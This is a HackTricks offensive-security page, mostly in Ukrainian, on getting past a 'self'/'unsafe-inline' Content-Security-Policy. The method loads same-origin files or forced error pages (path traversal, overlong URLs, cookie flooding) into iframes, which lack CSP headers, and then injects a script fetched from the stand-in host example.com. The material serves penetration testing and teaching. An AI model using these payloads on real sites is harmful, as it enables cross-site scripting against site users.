CSP bypass: self + 'unsafe-inline' with Iframes

Support HackTricks

Конфігурація, така як:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

Забороняє використання будь-яких функцій, які виконують код, переданий як рядок. Наприклад: eval, setTimeout, setInterval будуть заблоковані через налаштування unsafe-eval

Будь-який контент з зовнішніх джерел також заблоковано, включаючи зображення, CSS, WebSockets і, особливо, JS

Через текст та зображення

Спостерігається, що сучасні браузери перетворюють зображення та тексти в HTML для покращення їх відображення (наприклад, налаштування фону, центрування тощо). Внаслідок цього, якщо зображення або текстовий файл, такий як favicon.ico або robots.txt, відкривається через iframe, він відображається як HTML. Варто зазначити, що ці сторінки часто не мають заголовків CSP і можуть не містити X-Frame-Options, що дозволяє виконання довільного JavaScript з них:

frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Via Errors

Аналогічно, відповіді з помилками, такі як текстові файли або зображення, зазвичай приходять без заголовків CSP і можуть не містити X-Frame-Options. Помилки можуть бути викликані для завантаження в iframe, що дозволяє виконувати наступні дії:

// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}

Після активації будь-якого з вказаних сценаріїв, виконання JavaScript в межах iframe можливе наступним чином:

script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Посилання

Підтримайте HackTricks

Last updated